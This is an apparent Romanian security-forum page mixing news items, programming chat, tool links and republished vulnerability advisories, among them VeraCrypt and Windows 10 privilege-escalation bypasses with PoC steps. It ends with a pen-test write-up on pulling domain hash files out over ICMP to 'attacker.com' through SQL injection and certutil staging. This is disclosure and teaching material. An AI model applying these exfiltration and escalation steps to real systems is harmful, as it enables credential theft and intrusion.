Nytro

Aveti grija, lucreaza la NSA!

Un adolescent de numai 16 ani din Cluj a reu?it s? fure peste 60.000 de lei din conturile clien?ilor de la mai multe b?nci. Conform anchetatorilor clujeanul ?i-ar fi început „meseria” de la 13 ani, dar pân? acum a fost iertat de autorit??i. Acesta este acuzat de s?vâr?irea a 13 (treisprezece) infrac?iuni de efectuare de opera?iuni financiare în mod fraudulos ?i a 3 (trei) infrac?iuni de tentativ? la efectuare de opera?iuni financiare în mod fraudulos, sub forma autoratului. „În perioada august – 15 septembrie 2015 inculpatul O. C.-I., în vârst? de 16 ani, a folosit în mod neautorizat date de identificare ale cardurilor bancare emise, dup? caz, de c?tre Banca Transilvania, Banca Comercial? Român?, Unicredit Bank, Millenium Bank ?i Marfin Bank Romania unui num?r de 16 (?aisprezece) titulari de pe întreg teritoriul României, efectuând sau încercând s? efectueze transferuri frauduloase de fonduri din conturile bancare ale acestora, în scopul achizi?ion?rii de produse de telecomunica?ii ?i IT (în special telefoane mobile de ultim? genera?ie), al transfer?rii de bani, al credit?rii unor conturi virtuale pentru convertirea monedei centralizate în moned? digital?, al reînc?rc?rii cartelelor telefonice precum ?i pentru achizi?ionarea de jocuri electronice”, scrie în rechizitoriu. În activitatea sa, inculpatul minor a încercat s? efectueze în mod fraudulos, în mediul online, tranzac?ii financiare în sum? total? de 96.210,18 lei ?i 40,48 dolari, reu?ind producerea un prejudiciu de 63.569,14 lei ?i 31,61 dolari, scrie romaniatv.net care citeaz? clujust.ro.. Dosarul a fost înaintat, spre competent? solu?ionare, Judec?toriei Cluj-Napoca. Sursa: Cluj: Un Hacker de doar 16 ani a furat peste 60.000 de lei din conturile mai multor clien?i - Cluj Capitala

Attention whores.

3. Nu am spus ca e singurul. Alte limbaje au binding-uri/wrappere, un overhead de performanta. 4. La fel ca mai sus, au diverse binding-uri/wrappere. In plus, fiind scrise in C/C++, tipurile de date ale parametrilor si valorilor returnate sunt cele din C/C++. In alte limbaje trebuie sa te adaptezi la aceste cerinte. Da, ai dreptate cu productivitatea, insa folosind diferite biblioteci poti avea productivitate. Vezi boost, are tot ce iti trebuie, cross-platform. "Limbajul cel mai folosit pentru aplicatii este de departe Delphi (peste 90%)." - Nici pe departe. Zi-mi 2-3 aplicatii mari scrise in Delphi. Cele mai folosite limbaje: Java, PHP, C++ (ordinea nu conteaza). Exemple: Microsoft Office, Google Chrome, Firefox, VLC, Antivirusi si extrem de multe altele - totul in C++ (sau C).

C++ + Python

Babun - a windows shell Would you like to use a linux-like console on a Windows host without a lot of fuzz? Try out babun! Have a look at a 2 minutes long screencast by @tombujok: Introduction to the Babun Project on Vimeo Installation Just download the dist file from http://babun.github.io, unzip it and run the install.bat script. After a few minutes babun starts automatically. The application will be installed to the %USER_HOME%\.babundirectory. Use the '/target' option to install babun to a custom directory. [TABLE=width: 728] [TR] [TD]Note[/TD] [TD]There is no interference with existing Cygwin installation[/TD] [/TR] [/TABLE] [TABLE=width: 728] [TR] [TD]Note[/TD] [TD]You may have "whitespace" chars in your username - it is not recommended by Cygwin though FAQ[/TD] [/TR] [/TABLE] Features in 10 seconds Babun features the following: Pre-configured Cygwin with a lot of addons Silent command-line installer, no admin rights required pact - advanced package manager (like apt-get or yum) xTerm-256 compatible console HTTP(s) proxying support Plugin-oriented architecture Pre-configured git and shell Integrated oh-my-zsh Auto update feature "Open Babun Here" context menu entry Have a look at a sample screenshot! Do you like it? Follow babun on Twitter @babunshell or @tombujok. Link: https://github.com/babun/babun

Copyleft of Simone 'evilsocket' Margaritelli*. bettercap - a complete, modular, portable and easily extensible MITM framework. bettercap is a complete, modular, portable and easily extensible MITM tool and framework with every kind of diagnostic and offensive feature you could need in order to perform a man in the middle attack. HOW TO INSTALL Stable Release ( GEM ) gem install bettercap From Source git clone https://github.com/evilsocket/bettercap cd bettercap gem build bettercap.gemspec sudo gem install bettercap*.gem DEPENDS All dependencies will be automatically installed through the GEM system, in some case you might need to install some system dependency in order to make everything work: sudo apt-get install ruby-dev libpcap-dev This should solve issues such as this one. EXAMPLES & INSTRUCTIONS Please refer to the official website. Sursa: https://github.com/evilsocket/bettercap

OpenSSH Win32 port of OpenSSH Look at the wiki for help Link: https://github.com/PowerShell/Win32-OpenSSH

De ce e "powerfull" C++: 1. cross-platform - Compilatoare atat open-source cat si comerciale 2. optimizat - Un limbaj interpretat nu va ajunge niciodata la viteza sa 3. capabil - Pointeri, mostenire, polimorfism si tot ce ti-ai putea dori de la un limbaj de programare 4. biblioteci - STL, Boost, OpenSSL si multe alte biblioteci sunt create pentru a fi folosite din C++ 5. stabil - Standard vechi, bine definit, implementat si inteles De ce nu e popular? 1. Nu e pentru cei slabi de inima.

It's on Youtube, it must be true.

E tema pentru mobile.

Advanced x86: Introduction to BIOS & SMM PC BIOS/UEFI firmware is usually “out of sight, out of mind”. But this just means it’s a place where sophisticated attackers can live unseen and unfettered. This class shares information about PC firmware security that was hard-won over years of focused research into firmware vulnerabilities. We will cover why the BIOS is critical to the security of the platform. This course will also show you what capabilities and opportunities are provided to an attacker when BIOSes are not properly secured. We will also provide you tools for performing vulnerability analysis on firmware, as well as firmware forensics. This class will take people with existing reverse engineering skills and teach them to analyze UEFI firmware. This can be used either for vulnerability hunting, or to analyze suspected implants found in a BIOS, without having to rely on anyone else. Learning Objectives * Understand the similarities and differences between the UEFI and legacy BIOS * Understand the BIOS/UEFI boot environments and how they interact with the platform architecture * How the BIOS/UEFI should configure the system to maximize platform security, and how attackers have bypassed these security mechanisms * How System Management Mode (SMM) is instantiated and must be protected * How SMM may be used to provide added layers of platform security * How the BIOS flash chip should be locked down, and what kind of attacks can be done when it is not * Learn how to Reverse Engineer UEFI modules * To teach you “how to fish” so you can take your newly-acquired knowledge to perform further security research in this area Link: IntroBIOS

Adobe Flash IExternalizable.writeExternal Type Confusion Authored by Google Security Research, natashenka If IExternalizable.writeExternal is overridden with a value that is not a function, Flash assumes it is a function even though it is not one. This leads to execution of a 'method' outside of the ActionScript object's ActionScript vtable, leading to memory corruption. Link: https://packetstormsecurity.com/files/134009/Adobe-Flash-IExternalizable.writeExternal-Type-Confusion.html

Da, deschid prima oara aplicatia, nu pot sa sterg un mail pana nu se incarca complet. Se incarca, sterg mail-ul, Inbox gol. Refresh, mail-ul e inca acolo. "Send feedback".

Truecrypt 7 Derived Code/Windows: Drive Letter Symbolic Link Creation EoP Truecrypt 7 Derived Code/Windows: Drive Letter Symbolic Link Creation EoP Platform: Windows Class: Local Elevation of Privilege Tested on: VeraCrypt 1.13 x86 on Windows 10 Summary: The Windows driver used by projects derived from Truecrypt 7 (verified in Veracrypt and CipherShed) are vulnerable to a local elevation of privilege attack by abusing the drive letter symbolic link creation facilities to remap the main system drive. With the system drive remapped it’s trivial to get a new process running under the local system account. Description: Any user on the system can connect to the Truecrypt device object and mount a new encrypted volume. As part of this process the driver will try and create the requested drive letter by calling IoCreateSymbolicLink. To prevent redefining an existing drive letter a call is made to IsDriveLetterAvailable which attempts to open the link “\DosDevices\X:” for reading, returning FALSE if it was successfully opened. The specific code in src\Driver\Ntdriver.c is: if (NT_SUCCESS (ZwOpenSymbolicLinkObject (&handle, GENERIC_READ, &objectAttributes))) { ZwClose (handle); return FALSE; } return TRUE; The bug which allows you to bypass this is due to the use of the NT_SUCCESS macro. This means that any error opening the symbolic link will cause the drive letter to be assumed to not exist. If we can cause the open to fail in any way then we can bypass this check and mount the volume over an existing drive letter. This is possible because with terminal services support the \DosDevices path points to a special fake path \?? which first maps to a per-user writable location (under \Sessions\0\DosDevices) before falling back to \GLOBAL??. When the kernel creates a new object under \?? is creates it in the per-user location instead so there’s no conflict with a drive symbolic link in \GLOBAL??. So how to bypass the check? The simplest trick is to just create any other type of object with that name, such as an object directory. This will cause ZwOpenSymbolicLink to fail with STATUS_OBJECT_TYPE_MISMATCH passing the check. This in itself would only cause problems for the current user if it wasn’t for the fact that there exists a way of replacing the current processes device map directory using the NtSetInformationProcess system call. You can set any object directory to this which allows you DIRECTORY_TRAVERSE privilege, which is pretty much anything. In particular we can set the \GLOBAL?? directory itself. So to exploit this and remap the C: drive to the truecrypt volume we do the following: 1) Set the current process’s device map to a new object directory. Create a new object called C: inside the device map directory. 2) Mount a volume (not using the mount manager) and request the C: drive mapping. The IsDriveLetterAvailable will return TRUE. 3) Wait for the driver to open the volume and at that point delete the fake C: object (if we don’t do this then the creation will fail). While this looks like a race condition (which you can win pretty easily through brute force) you can use things like OPLOCKs to give 100% reliability. 4) The mount will complete writing a new C: symbolic link to the device map. 5) Set the \GLOBAL?? directory as the new process device map directory. 6) Unmount the volume, this calls IoDeleteSymbolicLink with \DosDevices\C: which actually ends up deleting \GLOBAL??\C: 7) Remount the volume as the C: drive again (you’ll obviously need to not use C: when referring to the volume location). The user now has complete control over the contents of C:. Fixing the Issue: While technically IsDriveLetterAvailable is at fault I don’t believe fixing it would completely remove the issue. However changing IsDriveLetterAvailable to only return FALSE if STATUS_OBJECT_NAME_NOT_FOUND is returned from the ZwOpenSymbolicLink object would make it a lot harder to bypass the check. Also I don’t know if specifying the use of the mount volume driver would affect this. The correct fix would be to decide where the symbolic link is supposed to be written to and specify it explicitly. As in if you want to ensure it gets written to the current user’s drive mapping then specify the per-user directory at \Sessions\0\DosDevices\X-Y where X-Y is the authentication ID got from the SeQueryAuthenticationIdToken API. Or if it’s supposed to be in the global drive names then specify \GLOBAL??. Note this probably won’t work on pre-fast user switching versions of XP or Windows 2000 (assuming you’re still willing to support those platforms). Also I’d recommend if going the per-user route then only use the primary token (using PsReferencePrimaryToken) to determine the authentication ID as that avoids any mistakes with impersonation tokens. There’s no reason to believe that this would cause compat issues as I wouldn’t expect the normal user tool to use impersonation to map the drive for another user. Note this wasn’t reported in the iSec Partners security review so it’s not an missed fix. Proof of Concept: I’ve provided a PoC, you’ll need to build it with VS2015. It will change an arbitrary global drive letter to a VeraCrypt volume. Note it only works on VeraCrypt but it might be possible to trivially change to work on any other truecrypt derived products. You MUST build an executable to match the OS bitness otherwise it will not work. To test the PoC use the following steps. 1. Create a veracrypt volume using the normal GUI, the PoC doesn’t do this for you. Don’t mount the volume. 2. Execute the PoC, passing the drive letter you want to replace, the path to the volume file and the password for the file. e.g. MountVeracryptVolume C: c:\path\to\volume.hc password. 3. If all worked as expected eventually the PoC should print Done. At this point the drive letter you specified has been replaced with the truecrypt volume. As long as you have a command prompt open you should be able to see that the C: drive is now pointing at the encrypted volume. You can hit enter to exit the program and unmount the volume, however if you’ve replaced the system drive such as C: this will likely cause the OS to become unusable pretty quickly. Expected Result: It shouldn’t be possible to mount the volume over a global drive. Observed Result: The global drive specified has been replaced with a link to the encrypted volume. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. issue1_PoC.zip 23.6 KB Download Sursa: https://code.google.com/p/google-security-research/issues/detail?id=538

[h=1]Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111)[/h] Source: https://code.google.com/p/google-security-research/issues/detail?id=486 Windows: Sandboxed Mount Reparse Point Creation Mitigation Bypass Platform: Windows 10 (build 10240), earlier versions do not have the functionality Class: Security Feature Bypass Summary: A mitigation added to Windows 10 to prevent NTFS Mount Reparse Points being created at integrity levels below medium can be bypassed. Description: Windows 10 has added some new mitigations to block the creation or change the behaviour of certain symbolic links when issued by a low integrity/sandboxed process. The presumed aim to to make it harder to abuse these types of tricks to break out of a sandbox. In earlier builds on Windows 10 NTFS Mount Reparse Points were blocked outright from a sandboxed process, however in 10240 (what can only be assumed a final build) the check was moved to the kernel in IopXXXControlFile and changed slightly so that sandboxed processes could create some mount points. The check is roughly: if (RtlIsSandboxedProcess()) { if(ControlCode == FSCTL_SET_MOUNT_POINT) { if (FsRtlValidateReparsePointBuffer(buffer) && buffer->ReparseTag == TAG_MOUNT_POINT) { NTSTATUS status = ZwOpenFile(..., buffer->ReparseTarget, FILE_GENERIC_WRITE, ... , FILE_DIRECTORY_FILE); if (!NT_SUCCESS(status)) { return status; } } } The kernel is therefore checking that the target of the mount point is a directory and that the current process has write access to the directory. This would sufficiently limit the ability of a sandboxed process to abuse this to write files at a higher privilege. Unfortunately there’s a perhaps unexpected problem with this check, the sandboxed process can redirect the ZwOpenFile call arbitrarily to something it can open for write, yet the original value is set as the mount point. This is because the file open check is being made inside the process which is doing the call which means it honours the user’s device mapping. While the sandboxed process cannot change the per-user drive mappings, it can change the process’s device map using NtSetInformationProcess with the ProcessDeviceMap information class. As we can create arbitrary object directories and symbolic links (which while they also have a mitigation it only prevents a higher privilege process following them, which we don’t care about) we can build a completely fake device map which redirects the open to another directory. A good target turns out to be \Device\NamedPipe\ (note the trailing slash) as that can be opened from any privilege level (including Chrome renderer processes) for write access and as a directory. So if we want to set an arbitrary mount point to say \??\c:\somewhere we can build something like: <UNNAMED>(DIR) -> C:(DIR) -> somewhere(LINK to \Device\NamedPipe\) If we set the unnamed directory to the process device map we can bypass the check and create the mount point. Perhaps from a fix perspective you could query for the opened path and use that to write to the NTFS reparse point rather than using the original value. Proof of Concept: I’ve provided a PoC which will demonstrate the bypass. It should be executed at low integrity using psexec or modifying the executable file’s ACL to low. Ensure you use the correct version for the architecture on Windows, as there seems to be a bug in NtSetInformationProcess which blocks Wow64 apps from setting the process device map. You can compare the operation to the command shell’s mklink tool that will fail to create the mount point at low integrity. The archive password is ‘password’. Follow these steps: 1) Extract the PoC to a location on a local hard disk which is writable by a normal user. 2) Execute the poc executable file as low integrity passing two arguments, the path to a directory to create (must be somewhere than can be written to as low integrity user such as AppData\Temp\Low) and the arbitrary file path to set the mount point to. For example: poc.exe c:\users\user\appdata\local\low\abc c:\notreal. Expected Result: It shouldn’t be possible to create a mount point pointed at a location not writable by low integrity user Observed Result: The mount point is created successfully. Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38474.zip' Sursa: https://www.exploit-db.com/exploits/38474/

Hacking for Security, and Getting Paid for It By NICOLE PERLROTH OCTOBER 14, 2015 SAN FRANCISCO — It should come as no surprise that the Internet is riddled with holes. For as long as people have been writing code, they have been making mistakes. And just about as long as they have been making mistakes, criminals, governments, so-called hacktivists and people who wreck things for kicks have been taking advantage. But if 2014 was the year that hackings of everything from federal government computer networks to the computers of Sony Pictures became routine news, 2015 may be the year that companies tried to do something about it. Though not without some rough nudging. Technology companies including Google, Facebook, Dropbox, Microsoft, Yahoo, PayPal and even the electric-car maker Tesla now offer hackers bounties for reporting the flaws they find in the companies’ wares. It is a significant shift from the tech industry’s standard way of responding — or not responding — to hackers who find vulnerabilities. Twenty years ago, reporting a bug to a big company might fetch a well-intentioned programmer a T-shirt, credit on a website or a small bounty. But more often than not, such people were ignored or even threatened with criminal prosecution. It should not be that shocking, then, that a healthy black market for so-called zero day bugs — flaws that have yet to be discovered or patched and can be easily exploited without setting off an alarm — has emerged over the years. Online criminals and governments have been paying for word of such flaws and stockpiling them for future hackings, according to foreign policy experts who have been tracking claims by government officials who have publicly disclosed their online weaponry or whose online attack programs have been leaked. An additional 40 countries are also buying so-called spyware tools from a growing list of companies in the United States and Europe that sell to governments. “As the global water level of threats naturally increases, what you see are these lower-tier groups, criminal actors and hacktivists begin to acquire capabilities that used to only be available to nation-states,” said Michael V. Hayden, former director of the National Security Agency. “Even the less capable actors can now develop and/or acquire tools and weapons that we thought in the past were so high-end that only a few nation-states could acquire and use them.” “This,” Mr. Hayden added, “is an absolutely predictable development.” There is little question that new thinking is needed around the seemingly insurmountable problem of online security. In 60 percent of 2,122 data breaches last year analyzed by Verizon, attackers were able to compromise their victims’ data within minutes. And even when vulnerabilities were discovered and a patch was devised, companies weren’t applying the patch. Verizon found that 99.9 percent of known vulnerabilities remained in place more than a year after the vendor provided a patch. Now Facebook and Microsoft sponsor an Internet Bug Bounty program, run by volunteers from the security sector, that pays hackers to report bugs. After one particularly serious, overlooked bug — named Heartbleed — was discovered last year in a security protocol that is used in millions of Internet-connected devices, the nonprofit Linux Foundation and more than a dozen major tech companies started an initiative to pay for security audits in widely used open-source software. By far, the most aggressive effort to batten down the Internet has been that of Google, which in addition to paying hackers to report bugs, tapped its top security analysts last year to join a new effort called Project Zero. The program has enlisted an elite group of hackers to work on uncovering holes not just in Google’s systems, but across the web as well. Project Zero recently discovered serious holes in Adobe Flash; TrueCrypt, the encryption software once used by the N.S.A. whistle-blower Edward J. Snowden; Avast, the popular antivirus software; and multiple flaws in security software sold by Kaspersky Lab. This, all in the span of just two weeks in September. Project Zero’s goal is to make those stockpiles of zero day bugs useless. ANNA PARINI “You should be able to use the web without fear that a criminal or state-sponsored actor is exploiting software bugs to infect your computer, steal secrets or monitor your communications,” Chris Evans, then Project Zero’s lead and now chief of security at Tesla, wrote in a blog post. “Yet in sophisticated attacks, we see the use of ‘zero day’ vulnerabilities to target, for example, human rights activists or conduct industrial espionage. This needs to stop.” It’s nearly impossible to know if Project Zero is making a dent in countries’ attack tools. In the United States and other countries, vulnerability exploitation programs are often classified, making data hard to come by. So far, Google’s team of 10 full-time hackers has fixed more than 400 critical flaws in widely used programs, many of which would have been easy to exploit for espionage or destruction. But their efforts are not without controversy, particularly with competitors whose software is being audited by Google’s hackers. At Apple, which still does not pay hackers bounties for turning over bugs, Project Zero has discovered more than 60 bugs in crucial Apple applications, like the Safari browser and mobile developer kits. And last year, after Google detected and disclosed security flaws in Windows, Microsoft did not exactly write a thank-you note. Microsoft’s security executives criticized Google’s researchers for not giving them more time to fix the flaws before disclosing them to the wider web. “We don’t believe it would be right to have our security researchers find vulnerabilities in competitors’ products, apply pressure that a fix should take place in a certain time frame, and then publicly disclose information that could be used to exploit the vulnerability and attack customers before a fix is created,” Chris Betz, a senior director of the Microsoft Trustworthy Computing Group, wrote in a blog post. Google has a 90-day rule for disclosing bugs that vendors have not patched, but after the Microsoft controversy, it added a 14-day extension for companies that say they are working on a patch. But not all bug bounty programs are being run by the tech industry’s giants. Newer start-ups like HackerOne and BugCrowd team up with companies in industries like tech and energy to solicit hackers to test their applications for vulnerabilities and, in many cases, pay them for their finds. Both services help companies, like Twitter, Yahoo and Snapchat, set up bounty programs, and then recruit hackers to test their clients’ products and applications. In cases where companies are willing to offer a financial reward, HackerOne and BugCrowd manage the payment process. Like HackerOne and BugCrowd, other start-ups like Synack and Bug Bounty HQ hire teams of hackers to do private vulnerability-finding missions. The idea is simple: Companies will never find all the vulnerabilities on their own and would rather invest in researchers to find the flaws now than suffer the consequences when criminals find them later. For all the holes discovered in Microsoft’s code, the security industry still largely sees Microsoft — criticized for years for the holes in its software — as a security success story. Many in the industry point to a 2002 memo from Bill Gates as a turning point. In his memo, Mr. Gates said that for Microsoft to succeed, it would have to make security, privacy and resiliency its top priorities. His memo was prescient: “Computing is already an important part of many people’s lives,” Mr. Gates wrote. “Within 10 years, it will be an integral and indispensable part of almost everything we do. Microsoft and the computer industry will only succeed in that world if C.I.O.s, consumers and everyone else sees that Microsoft has created a platform for Trustworthy Computing.” Initially mocked by those in the security industry as a publicity stunt, the memo compelled Microsoft’s developers to start incorporating more secure coding techniques. And the company’s once sour relationship with the security research community began to improve. The company now routinely works, for example, with law enforcement to disrupt criminal botnet networks, which are networks of computers that have been infected by online criminals. And while there have been setbacks and plenty of holes are still being discovered in Microsoft code, fears about the security of Microsoft’s applications have slowly subsided. Adobe and the Java programming platform have become more frequent targets for hackers. “There is a lot to be learned from that,” said Jim Zemlin, the executive director of the Linux Foundation. “The problem is that Bill Gates can’t write a memo to the whole world. What we need is a new culture of norms.” Security experts say bug bounty programs are useful but inherently reactive. They say the only way to get ahead in the cat-and-mouse game with hackers is to encourage developers to incorporate secure coding practices into the design. “That is the real struggle,” Mr. Zemlin said. “Bug bounties are great at fixing potholes where they are today. But long term, we need to make a better investment in the overall health of the Internet.” Mr. Zemlin and others point to new training programs organized by the Linux Foundation and others that encourage developers to bone up on their secure coding skills, to eliminate the potential for bugs in code in the first place. “There’s no quick fix, but if you have bug bounty programs, do threat modeling and train developers how to write secure code, you’re going to have a healthier Internet,” Mr. Zemlin said. “Nation-states will always have offensive tools, but if you raise the bar on coding, at least those tools won’t get into the hands of as many rogue actors as quickly as they are today.” The effort to stamp out bugs is not the only thing security experts are trying as a way to improve the security of computer networks and the broader Internet. The United States government and technology companies are pushing websites to strengthen their security by using HTTPS encryption that protects information as it moves across the Internet. HTTPS creates a private connection between a web browser and a website so would-be snoopers can’t peek at what a person is doing. A small lock appearing in the address bar of a browser is usually a good indication that a site is using it. Banks have deployed HTTPS for years, but more recently it has been adopted by e-commerce and technology sites like Google, Facebook and Yahoo. The Obama administration ordered all websites run by the executive branch of the federal government to adopt HTTPS by the end of 2016. Here too, Google is lending its muscle to the effort. Last year, the search giant began raising the search rankings of websites that use HTTPS and lowering the rankings of those that do not. In the European Union, countries are considering ways to couple that sort of aggressiveness with legal clout. Under current proposals, any company that collects and manages data about the region’s 500 million or so citizens must report a data breach within 72 hours and notify customers as soon as possible. If companies fail to do that, regulators could fine them up to 2 percent of their global revenue, or a maximum of $1.1 million. The rules are still being negotiated and could apply by 2018. Are those rules an overreaction? Not if you consider the potential for security flaws in technologies that are just starting to be adopted, like Internet-connected home heating systems and cars. This year, a pair of hackers found a way to remotely hack a car’s computer system, forcing a major repair effort at Fiat Chrysler. The two hackers, Charlie Miller and Chris Valasek, found a way to exploit a relatively new Internet-connected feature in Fiat Chrysler vehicles to turn the windshield wipers on and off, adjust the radio volume and speed up and slow down the car, all from a remote computer. The automobile attacks were just the beginning, security experts say, of a new wave of attacks on the so-called Internet of Things. Critical infrastructure — water systems, power lines, pipelines and stock exchanges — is going online, in part so that engineers can monitor, diagnose and fix problems remotely, without sending someone to attend to problems on-site. But with that convenience comes the risk of hacking. General Electric, for example, acquired a security company called Wurldtech last year to help it protect industrial sites like refineries and power plants from attacks. That is the reality of today’s online security. Companies are indeed treating security with more seriousness. But technology is an endless series of advances, and with those come mistakes. And there is nothing better for a hacker than a mistake. Sursa: Hacking for Security, and Getting Paid for It - NYTimes.com

Au protectii la supratensiune, dar nu la o supratensiune atat de mare.

HIJACKING QUADCOPTERS WITH A MAVLINK EXPLOIT by: Brian Benchoff October 15, 2015 Not many people would like a quadcopter with an HD camera hovering above their property, and until now there’s no technical resource to tell drone pilots to buzz off. That would require actually talking to a person. Horrors. Why be reasonable when you can use a Raspberry Pi to hijack a drone? It’s the only reasonable thing to do, really. The folks at shellIntel have been messing around with quads for a while, and have recently stumbled upon a vulnerability in the Pixhawk flight controller and every other quadcopter that uses the MAVLink protocol. This includes the Parrot AR.drone, ArduPilot, PX4FMU, pxIMU, SmartAP, MatrixPilot, Armazila 10dM3UOP88, Hexo+, TauLabs and AutoQuad. Right now, the only requirement to make a drone fall out of the sky is a simple radio module and a computer. A Raspberry Pi was used in shellIntel’s demo. The exploit is a consequence of the MAVLink sending the channel or NetID used to send commands from the transmitter to the quadcopter in each radio frame. This NetID number is used so multiple transmitters don’t interfere with each other; if two transmitters use the same NetID, there will be a conflict and two very confused pilots. Unfortunately, this also means anyone with a MAVLink radio using the same NetID can disarm a quadcopter remotely, and anyone with a MAVLink radio can tell a quad to turn off, or even emulate the DJI Phantom’s ‘Return to China’ function. The only required hardware for this exploit is a $100 radio and three lines of code. It is certainly possible to build a Raspberry Pi-based box that would shut down any Pixhawk-equipped quadcopter within radio range, although the folks at shellIntel didn’t go that far just yet. Now it’s just a proof of concept to demonstrate that there’s always a technical solution to your privacy concerns. Video below. Sursa: http://hackaday.com/2015/10/15/hijacking-quadcopters-with-a-mavlink-exploit/

USB KILLER 2.0 CAN BRICK YOUR COMPUTER IN MERE SECONDS ByJonathan Keane —October 13, 2015 The Russian cybersecurity expert, Dark Purple, who created the devious USB Killer pen drive, has created a new version of the malicious hardware that can brick a device as soon as it is plugged in. In a new blog post (link in Russian), the somewhat anonymous Dark Purple described his device, simply titled USB Killer v2.0. It doesn’t install any malware on your computer once you plug it in. Instead it sends a 220-volt charge through the USB’s signal lines and destroys the computer. The original USB Killer, first revealed online back in March, administered 110 volts, which was more than enough to fry your computer anyway. USB Killer looks quite inconspicuous, too, and could be easily mistaken for an average USB drive. Related: Never trust an unknown USB drive — It might just fry your computer Dark Purple posted a short video demonstrating the USB in action, where he destroys the motherboard of a Lenovo Thinkpad X60 laptop, which he bought specifically for the test, in just a couple of seconds. “[it] is extremely unlikely that the hard disk was damaged and the information on it,” he says, so he will probably be able to retrieve the data. However it still serves as a good reminder to not go around plugging random USB drives you find into your computer. Getting someone to plug in a corrupt USB drive is a common way of infecting or destroying an air-gapped computer. You just need to get it plugged in somehow. AsThe Hacker News points out, this was the method used to spread the infamous Stuxnet virus to Iranian nuclear centrifuges. In a sense, an attack like USB killer is ultimately less damaging, since it’s not used to collect data or infiltrate a network. Reducing the attack is more difficult, too, because specific physical hardware is required. That means this deadly USB stick is unlikely to cause widespread havoc — but that won’t be much consolation if you do indeed fall victim to it. Sursa: USB Killer 2.0 Can Brick Your Computer In Seconds | Digital Trends Stiu, titlu de cacat, dar subiectul este interesant.

ICMP Tunnels – A Case Study On a recent Pen Test project, we encountered a situation where the outbound traffic on the server was not allowed. Only ICMP (and DNS) traffic was allowed. In this blog post Shyam discusses how we manage to ex-filtrate the data over an ICMP tunnel.Just to set the scene, the scenario was an application Pen Test. The application was only available on client’s internal network, so a VPN was provided to access the app. The VPN only allowed us to connect to one host (web server IP) and one port (443).The AttackSo, as it turns out, we managed to achieve this: The Application was vulnerable to SQLi. It turns out the app connects to database (MS SQL 2008) as ‘sa’ account. We could enable xp_cmdshell and execute OS code (sqlmap is your friend). Note that the shell via SQL Injection is not interactive. The output of the command we issue was first stored in database table and was then read out via SQL queries. Also, the web server and the database server were different. The web server did not have any ports other then 443 open (not even for Database server). It further turns out that the sqlserver process was actually not running as ‘System’ but as a domain admin account (domain\sqlsvc). So, basically we ended up with domain admin access. The ObstacleThe hosts on the internal domain did not have outbound internet activity. We did look for any proxy servers but could not find any. The only connection which was allowed was ICMP and DNS traffic. So, the problems we were now facing were: How do we dump domain hashes without any tools (metasploit, fgdump, pwdump etc)? Even if we were to dump the hashes, how do we export these on to our servers for offline cracking. The problem 1 was quickly solved by referring to a fantastic blog from mubix’s using Volume Shadow Copies to pull the NTDS.dit file and system.hive files.Room362: Volume Shadow Copy NTDS.dit Domain Hashes Remotely - Part 1Now that we have the hive, we need to send the hive on the compromised DC to our machine to decrypt it offline. So we wanted to have tool which would send hive as ICMP packets from the compromised host (DC) to our server and at our end we have a packet capture tool to capture the whole ping requests from the compromised host. We looked at some of the existing tools regarding ICMP tunnels but the trouble was: It would seem like the existing tools were not too much geared towards file transfer (or we just didn’t find the right tool to do the job). How do we copy the ICMP tunnel client on the box, without having any ICMP tunnel? ?????? So, we decided to do some research into this and came up with this approach: Convert the hive into base64. Divide the base64 encoded text file into smaller chunks. Create an ICMP packet with the chunk as the data with a proper sequence number to our server on the internet. Run packet capture tools and record the traffic on our server. Once all the packets are sent from the host and received by our server, use a parser to remove all the headers and concat all the data fields of pings to have a base64 encoded text file. Decode the base64 encoded file to have our hive on our server. Fortunately, Windows has a utility called certutil installed by default which will do the encoding and decoding of a file to base64 for us in the most easiest way possible so we used the certutil to convert the hive file into base64 encoded text file. certutil command with base64 encode and decode options Once we have the encoded file, we need to create it into chunks and send it to our server using ICMP. This was tricky, so we created a python script that would take the base64 encoded text as input, divide it into chunks, send each chunk to the specified public IP address as ICMP request.Once the ICMP_transmitter.py does what it was intended to do, we need to convert the python file into exe as there will be no python interpreter by default in windows. For this we can use py2exe to convert the python file into an executable. Following code can be used to convert the python file to exe.Code Snippet: from distutils.core import setup import py2exe, sys, os sys.argv.append('py2exe') setup( options = {'py2exe': {'bundle_files': 1, 'compressed': True}}, windows = [{'script': "ICMP.py"}], zipfile = None, ) It is to be noted that we used bundle_files option while converting the python file into an executable. In this way, the code will output one standalone executable file containing the compiled code along with all required modules and python interpreter.Now we have this exe, the big question was how do we get this exe on the compromised host. The answer was follow these steps: Convert the exe into base-64 encoded format using certutil.certutil encoding It turns out this file was some 80K lines long, so we decided to remove the new lines and convert into chunks of ~8000 characters per line which meant some 660 lines. Note: echo command has a limit of ~8000 chars and hence this approach. We then made ~660 web requests to essentially make our SQLi execute the command cmd.exe /c echo "base64_text">>ICMPt_transmitter.txt After this we issued the following command to finally get our exe on server! certutil –decode ICMP_transmitter.txt ICMP_transmitter.exe Now, all we need to do is run the exe with “file_to_be_sent” and “Destination_address” as arguments. The script does the following for us.ICMP_transmitter.exe "hive" "attacker.com" It used the certutil to encode the hive into base64 Created chunks of data and sent each chunk as data in ICMP packet On our server, we started tcpdump to capture all the ICMP packets and save as a pcap file. Once all the ICMP packets are transferred stop the tcpdump and using any pcap parser, parse the data to build the base64 encoded text file. When the final text file is identified use the certutil tool to decode the file into respective file format.tcpdump -i eth0 ICMP and ICMP[iCMPtype]=ICMP-echo -XX -vvv -w output.txtFile integrity can be checked against the md5sum of both the transmitted and received files.Steps Involved Following are the steps performed:Step 1: Calculate the md5sum of the “hive” using our friendly certutil command. MD5 checksum via certutil Step 2: Start tcpdump on our machine to capture the ICMP packets. tcpdump at recieving end Step 3: Use the command ICMP_transmitter.exe to transmit the hive to our ip address. Transmitting file Step 4: Once the all the packets are received, stop tcpdump by pressing ctrl^c to have an output file. The format of output file is pcap or txt based on the –W argument specified in the command. tcpdump capturing packet Step 5: Use a parser.sh to parse the output file to get a clean base64 encoded hive file saved as “transmitted.txt” Extracting data from ICMP Step 6: Use the same certutil on your windows machine (or base64 -d on linux/mac) to decode the transmitted.txt to hive. Decoding the ex-filtrated data Check the md5sum at our machine for the hive and check against the md5sum of hive at the host machine for integrity.Perhaps not a very elegant solution, but it works! References: For transmitting data as a ping request. The code available athttps://gist.github.com/pklaus/856268 